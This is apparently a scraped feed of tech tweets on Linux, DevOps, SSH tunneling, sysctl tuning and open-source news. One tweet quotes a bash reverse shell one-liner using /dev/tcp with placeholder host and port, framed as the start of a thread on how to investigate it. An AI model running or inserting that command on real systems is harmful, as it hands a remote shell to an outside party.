LinuxGuyAround @LinuxGuyAround

Enjoying OpenSource !!! Joined August 2012

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CryptoSoulz @SoulzBTC

11 months ago

Trading is simple Buy below the Daily opening Sell above the Daily opening FVG = Entry Liquidity = Target

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David K 🎹 @DavidKPiano

11 months ago

Just discovered that you can enable tab-completions for npm commands pretty easily. Wish I did this years ago 🤯 npm completion >> ~/.bashrc npm completion >> ~/.zshrc

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Roger Lopez @Lopez

a year ago

Ansible PRO TIP: Take advantage of ‘block’ to group tasks and apply common attributes or error handling. It helps to simplify your playbook structure and manage task execution flow.

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SSH Tunnels - A Visual Guide To Port Forwarding 🧵 One of my favorite parts of SSH is tunneling. With just the regular ssh client, you can do wonders! 1. Local Port forwarding Access private ports of a remote machine using local tools (your browser, a fancy DB UI client, etc)

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Craig Rowland - Agentless Linux Security @CraigHRowland

a year ago

One of my favorite reverse shells for Linux is this: bash -i >& /dev/tcp/IP_ADDRESS/PORT 0>&1 It's simple and works on just about every Linux system without elaborate payloads. Let's discuss how to investigate it.

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Cedric Clyburn @cedricclyburn

a year ago

Back at @RedHatSummit, the @Podman_io guru @rhatdan asked me how we could highlight the amazing open source projects and people out there around Containers, Kubernetes, AI, SELinux, and more! Today, we’re introducing the “Red Hat Dan on Tech” mini-series: youtube.com/playlist?list=…

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Dan Nanni @xmodulo

a year ago

A list of useful examples of the sed command on Linux 😎👇 #linux #sysadmin

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LaurieWired @lauriewired

a year ago

help, i rubbed sudocrem all over my pc but i still don't have root

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Chris Titus Tech @christitustech

a year ago

Development on Gaming Setup in Linux Toolbox today! What else should I add/change? twitch.tv/christitustech

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Tom🌶\(^-^)/🌶 infosec.exchange/@tomlawrence @TomLawrenceTech

a year ago

Sure we will send a truck. but we have no idea if it will arrive...

Paul Asadoorian @[email protected] @securityweekly

a year ago

Sure we will send a truck. but we have no idea if it will arrive...

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Loftwah @loftwah

a year ago

Lol add a couple of ls and ls -lah and it is me.

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Chris Titus Tech @christitustech

a year ago

Creation of the Linux Toolbox is underway! twitch.tv/christitustech

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Nikolay Sivko @NikolaySivko

a year ago

Especially for those who often say, "It's always DNS," I'm excited to announce eBPF-based DNS monitoring in Coroot 🎉 With this new feature, you'll know in seconds whether it was #dns or not 😉 As always, all you need to do is install (or upgrade) Coroot. github.com/coroot/coroot/…

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Valentin Rothberg @vlntnrthbrg

a year ago

Johnny Westerlund did a great demo on image mode for Red Hat Enterprise Linux with a splash of OpenShift virtualization! youtube.com/watch?v=MzaQGI…

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HaxRob @haxrob

a year ago

Plans to literally "hack the planet" foiled due to 500ms of latency that Andres instinctually investigated. The latency was due how the malicious code parsed symbol tables in memory. openwall.com/lists/oss-secu…

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Sahn Lam @sahnlam

2 years ago

How does HTTPS work? Hypertext Transfer Protocol Secure (HTTPS) is an extension of HTTP that utilizes Transport Layer Security (TLS) to encrypt communication between a client and server. Any intercepted data will be unreadable and secure from tampering and eavesdropping.…

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Dr Milan Milanović @milan_milanovic

2 years ago

𝗧𝗼𝗽 𝟮𝟬 𝗦𝗤𝗟 𝗾𝘂𝗲𝗿𝘆 𝗼𝗽𝘁𝗶𝗺𝗶𝘇𝗮𝘁𝗶𝗼𝗻 𝘁𝗲𝗰𝗵𝗻𝗶𝗾𝘂𝗲𝘀 Here is the list of the top 20 SQL query optimization techniques I found noteworthy: 1. Create an index on huge tables (>1.000.000) rows 2. Use EXIST() instead of COUNT() to find an element in the…

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Chinmay Naik @chinmay185

3 years ago

We open-sourced cloudlens, a k9s-like CLI for AWS - written in Go 🎉🚀 It's like AWS console, but in your terminal. Explore EC2, S3, VPC, IAM, and more services all from your terminal! Check out - code github.com/one2nc/cloudle… and - documentation one2n.gitbook.io/docs/

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Peter Czanik @PCzanik

3 years ago

Version 4.0 of syslog-ng is out and now my dedicated repo for @openSUSE / #SLES is available. syslog-ng.com/community/b/bl… For a complete list of @sngose changes check: github.com/syslog-ng/sysl… It's worth reading before upgrade. Note that not all changes are relevant to my packages.

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Bruce Perens K6BP - I Stand with Ukraine @BrucePerens

3 years ago

Add this to Linux /etc/sysctl.conf to prevent bufferbloat on lan WiFi and your internet connection, and it will generally work faster/better. net.core.default_qdisc=fq_codel net.ipv4.tcp_ecn=1 net.ipv4.tcp_sack=1 net.ipv4.tcp_dsack=1 bufferbloat.net/projects/bloat…